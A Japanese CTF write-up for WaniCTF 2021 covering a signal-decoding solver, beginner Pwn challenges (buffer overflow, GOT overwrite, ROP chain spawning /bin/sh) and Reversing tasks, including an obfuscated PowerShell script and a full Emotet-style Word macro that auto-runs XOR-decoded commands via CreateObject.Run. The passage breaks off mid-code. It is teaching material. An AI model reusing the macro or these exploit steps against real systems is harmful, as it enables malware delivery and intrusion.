懲りずにJavaScriptでsolverを書いた。

<pre id="input">0.000000 ,-3.05E-05,-1.53E-04
0.000004 ,-1.22E-04,-1.53E-04
0.000008 ,-3.05E-05,-6.10E-05
0.000012 ,-3.05E-05,0.00E+00
0.000016 ,9.16E-05,-3.05E-05
0.000020 ,9.16E-05,3.05E-05
0.000024 ,9.16E-05,0.00E+00
0.000028 ,6.10E-05,-9.16E-05
0.000032 ,9.16E-05,-1.22E-04
0.000036 ,6.10E-05,0.00E+00
0.000040 ,-1.83E-04,0.00E+00
0.000044 ,-9.16E-05,-1.22E-04
0.000048 ,6.10E-05,-9.16E-05
0.000052 ,-9.16E-05,-9.16E-05
0.000056 ,-9.16E-05,-1.53E-04
0.000060 ,3.05E-05,-3.05E-05
0.000064 ,-9.16E-05,3.05E-05
0.000068 ,-6.10E-05,0.00E+00
0.000072 ,-9.16E-05,-1.83E-04
0.000076 ,6.10E-05,-1.53E-04
0.000080 ,1.22E-04,-1.22E-04
0.000084 ,1.53E-04,-1.22E-04
0.000088 ,-3.05E-05,0.00E+00
0.000092 ,6.10E-05,9.16E-05

(省略)

0.030960 ,1.22E-04,1.22E-04
0.030964 ,0.00E+00,1.53E-04
0.030968 ,0.00E+00,0.00E+00
0.030972 ,9.16E-05,-1.83E-04
0.030976 ,0.00E+00,-1.53E-04
0.030980 ,-9.16E-05,-1.22E-04
0.030984 ,3.05E-05,-3.05E-05
0.030988 ,1.22E-04,0.00E+00
0.030992 ,6.10E-05,1.53E-04
0.030996 ,3.05E-05,0.00E+00
0.031000 ,9.16E-05,-1.53E-04
0.031004 ,6.10E-05,-2.44E-04
0.031008 ,9.16E-05,-1.53E-04
0.031012 ,1.22E-04,3.05E-05
0.031016 ,9.16E-05,0.00E+00
0.031020 ,3.05E-05,3.05E-05
0.031024 ,-1.22E-04,3.05E-05
0.031028 ,0.00E+00,2.14E-04
0.031032 ,3.05E-05,1.83E-04
0.031036 ,-9.16E-05,-3.05E-05
0.031040 ,3.05E-05,-9.16E-05
0.031044 ,1.83E-04,-3.05E-05
0.031048 ,2.14E-04,1.22E-04
0.031052 ,0.00E+00,0.00E+00
0.031056 ,-1.22E-04,-1.22E-04
0.031060 ,-1.22E-04,-3.05E-05
</pre>

<pre>
<script>

var inputs = document.getElementById("input").innerHTML.split("\n");
bits = "";
j = 0;
k = 0;
dI = 0;
dQ = 0;
Isum = 0;
Icount = 0;
Qsum = 0;
Qcount = 0;
Idata = [];
Qdata = [];
for(i=0; i<inputs.length; i++) {
        j++;
        tmp =  inputs[i].split(",");
        dI = Math.abs(parseFloat(tmp[1]));
        dQ = Math.abs(parseFloat(tmp[2]));
        if(dI<=0.006){
                Icount++;
                Isum += (dI>=0.0003)? 1 : 0;
        }
        if(dQ<=0.006){
                Qcount++;
                Qsum += (dQ>=0.0003)? 1 : 0;
        }
        if(j>=16) {
                k = Isum/Icount;
                if(k>0.5)Idata.push(1);
                else Idata.push(0);
                
                k = Qsum/Qcount;
                if(k>0.5)Qdata.push(1);
                else Qdata.push(0);
                j = 0;
                Isum = 0;
                Icount = 0;
                Qcount = 0;
                Qsum = 0;
        }
}

bits = Idata.join("");
j = 0;
tmp = 0;
str = "";
for(i=6; i<bits.length; i++) {
        tmp += (bits.charAt(i)==1)? Math.pow(2,7-j) : 0;
        j++;
        if(j==8) {
                str += String.fromCharCode(tmp);
                tmp = 0;
                j = 0;
        }
}
document.write(str);
</script>
</pre>

ペイロード部分がASCIIコードになるようにオフセットを導入したが、無事flagが出た。

FLAG{you-can-decode-many-IoT-communications}

nc (Pwn:Beginner)

ここまで入門向けを充実させたPwn問群は初めてやった。ncで接続してコマンド打って終了。

$ nc nc.pwn.wanictf.org 9001
welcome to WaniCTF 2021!!!
>ls
chall
flag.txt
redir.sh
>cat flag.txt
FLAG{the-1st-step-to-pwn-is-netcatting}

FLAG{the-1st-step-to-pwn-is-netcatting}

BOF (Pwn:Beginner)

よーし、今日も魔王を倒しに行くか!

...あれ、ふっかつのじゅもんが違う...だと...?

nc bof.pwn.wanictf.org 9002

簡単なBOF問題である。ソースコードの掲載は割愛するが、たくさん文字列を入れてバッファを溢れさせればflagが出る。

$ nc bof.pwn.wanictf.org 9002
ふっかつのじゅもんを いれてください
>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
よくぞもどられた!
FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}
Segmentation fault (core dumped)

FLAG{D0_y0U_kN0w_BuFf3r_0Ver_fL0w?_ThA2k_y0U_fOR_s01v1ng!!}

got rewriter (Pwn:Easy)

通常であればこの時点でPwnToolsを使って面倒なコードを書かなければならないところだが、親切な実行ファイルにて簡単にgotを書き換えられる。

予め実行ファイルを逆アセンブルしてprintf関数のアドレスを調べておく。今回は0x601038になっているので、Please input target addressに0x601038と入力し、これにwinのアドレスを入れればwinに飛ぶ。

$ nc got-rewriter.pwn.wanictf.org 9003
Welcome to GOT rewriter!!!
win = 0x400807
Please input target address (0x600000-0x700000): 0x601038
Your input address is 0x601038.
Please input rewrite value: 0x400807
Your input rewrite value is 0x400807.

*0x601038 <- 0x400807.


congratulation!
>ls
chall
flag.txt
redir.sh
>cat flag.txt
FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

FLAG{you-are-pro-pwner-or-learned-how-to-find-writeup}

rop-machine-returns (Pwn:Easy)

こちらもropを自動で積んでくれる便利な問題。

bin/shのアドレスも与えられている。スタックにpop rdi; retを積み、bin/shのアドレスを積み、最後にsystemを積むと、systemコールでbin/shが実行される。

$ nc rop-machine-returns.pwn.wanictf.org 9004
welcome to rop-machine-returns!!!

"/bin/sh" address is 0x404070

[menu]
1. append hex value
2. append "pop rdi; ret" addr
3. append "system" addr
8. show menu (this one)
9. show rop_arena
0. execute rop
> 2
"pop rdi; ret" is appended
> 1
hex value?: 404070
0x0000000000404070 is appended
> 3
"system" is appended
> 0
     rop_arena
+--------------------+
| pop rdi; ret       |<- rop start
+--------------------+
| 0x0000000000404070 |
+--------------------+
| system             |
+--------------------+


>ls
chall
flag.txt
redir.sh
>cat flag.txt
FLAG{please-learn-how-to-use-rop-machine}

FLAG{please-learn-how-to-use-rop-machine}

ltrace (Reversing:Beginner)

この問題はltraceで解ける...ってコト!?

$ sudo apt-get install -y ltrace

$ ltrace --help

ヒント : オプションをよく確認しよう

問題文通りltraceをインストールして配布された実行ファイルをltraceで実行。ただしflagが長いため省略されないように-sオプションで適当に長い数字を指定しておく。

$ ltrace -s 512 ./ltrace 
printf("Input flag : ")                                                = 13
__isoc99_scanf(0x5641267af012, 0x7ffc12e4ce20, 0, 0Input flag : hoge
)                   = 1
strcmp("hoge", "FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}")           = 34
puts("Incorrect"Incorrect
)                                                      = 10
+++ exited (status 1) +++

FLAG{c4n_y0u_7r4c3_dyn4m1c_l1br4ry_c4ll5?}

pwsh (Reversing:Easy)

Power!!!

難読化された次のPowerShellスクリプトが配布される。

(("{39}{4}{12}{45}{21}{0}{36}{25}{26}{27}{7}{13}{30}{16}{31}{48}{23}{18}{19}{20}{24}{28}{3}{38}{11}{5}{2}{8}{46}{34}{29}{1}{35}{15}{10}{33}{9}{32}{22}{37}{40}{6}{43}{17}{47}{44}{14}{41}{42}"-f ' world of PowerShe','d_p','cl','d3','ch','1n_','else','ost cW4Passwo','34r1n68r30b','{
  Writ','l}','_','o ','r','W4Incor','w3r5h3l','W','
 ','t ','-eq c','W4FLAG{','he','t c','(fj7inpu','y0u_','fj7input =',' ','Read-H','5ucc33','473','dc','4','e-Outpu','cW4) ','u5c','0','ll!cW4

','W4Co','d','e','rrect!cW4
} ','rec','tcW4
}
',' {','tput c','cW4Welcome to t','f',' Write-Ou','

if ')).replACe('cW4',[STRiNg][CHAr]34).replACe('8r3',[STRiNg][CHAr]95).replACe('fj7',[STRiNg][CHAr]36) |& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')

そのまま実行するとパスワード(flag)を質問してくるプログラムになっている。難読化解除後の実行される前のコードが手に入ればいいので、一番最後の|& ( $VErboSEPReFErencE.TostRIng()[1,3]+'x'-Join'')を削除して実行すればいい。

PS h> .\pwsh_kai.ps1
echo "Welcome to the world of PowerShell!"

$input = Read-Host "Password"

if ($input -eq "FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}

FLAG{y0u_5ucc33d3d_1n_cl34r1n6_0bfu5c473d_p0w3r5h3ll}

EmoEmotet (Reversing:Hard)

なんかヤバそうなファイルが添付されたメールが届いちゃった。

これってもしかしてあのEmo---だったり...?

注意

難読化されたマクロがセットされたWordファイルが配布される。ヒントに従ってoletoolsをインストールして、olevba emoemotet.docでファイルに含まれているVBAコードを引きずり出す。

Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Sub AutoOpen()
CreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
End Sub
Public Function Base64Decode(ByVal s As String) As Byte()
   If Not InitDone Then Init
   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)
   Dim ILen As Long: ILen = UBound(IBuf) + 1
   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , ""
   Do While ILen > 0
      If IBuf(ILen - 1) <> Asc("=") Then Exit Do
      ILen = ILen - 1
      Loop
   Dim OLen As Long: OLen = (ILen * 3) \ 4
   Dim Out() As Byte
   ReDim Out(0 To OLen - 1) As Byte
   Dim ip As Long
   Dim op As Long
   Do While ip < ILen
      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1
      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1
      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc("A")
      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc("A")
      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _
         Err.Raise vbObjectError, , ""
      Dim b0 As Byte: b0 = Map2(i0)
      Dim b1 As Byte: b1 = Map2(i1)
      Dim b2 As Byte: b2 = Map2(i2)
      Dim b3 As Byte: b3 = Map2(i3)
      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _
         Err.Raise vbObjectError, , ""
      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \ &H10)
      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \ 4)
      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3
      Out(op) = o0: op = op + 1
      If op < OLen Then Out(op) = o1: op = op + 1
      If op < OLen Then Out(op) = o2: op = op + 1
      Loop
   Base64Decode = Out
   End Function
Private Sub Init()
   Dim c As Integer, i As Integer
   i = 0
   For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next
   For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next
   Map1(i) = Asc("+"): i = i + 1
   Map1(i) = Asc("/"): i = i + 1
   For i = 0 To 127: Map2(i) = 255: Next
   For i = 0 To 63: Map2(Map1(i)) = i: Next
   InitDone = True
   End Sub
Private Function ConvertStringToBytes(ByVal s As String) As Byte()
   Dim b1() As Byte: b1 = s
   Dim l As Long: l = (UBound(b1) + 1) \ 2
   If l = 0 Then ConvertStringToBytes = b1: Exit Function
   Dim b2() As Byte
   ReDim b2(0 To l - 1) As Byte
   Dim p As Long
   For p = 0 To l - 1
      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))
      If c >= 256 Then c = Asc("?")
      b2(p) = c
      Next
   ConvertStringToBytes = b2
   End Function
Private Function unxor(ciphertext As Variant, start As Integer)
    Dim cleartext As String
    Dim key() As Byte
    key = Base64Decode("rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl" & _
"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9" & _
"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n" & _
"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==")
    cleartext = ""
    For i = LBound(ciphertext) To UBound(ciphertext)
        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))
    Next
    unxor = cleartext
End Function

一番最初の方の数字がたくさん並んでいるところで、復号された文字列でCreateObjectしてRunをかけ、その後の文字列で引数を与えているようだ。

やや邪悪な解法だが、この部分の文字列を実行ではなく出力するだけの次のVBAを作成してExcelで走らせた。まあ無害だしね。

Private InitDone       As Boolean
Private Map1(0 To 63)  As Byte
Private Map2(0 To 127) As Byte
Private str1, str2, filename As String
Sub AutoOpen()
    str1 = unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)
    str2 = unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _
    unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _
    unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _
    unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _
    unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _
    unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _
    unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _
    unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _
    unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _
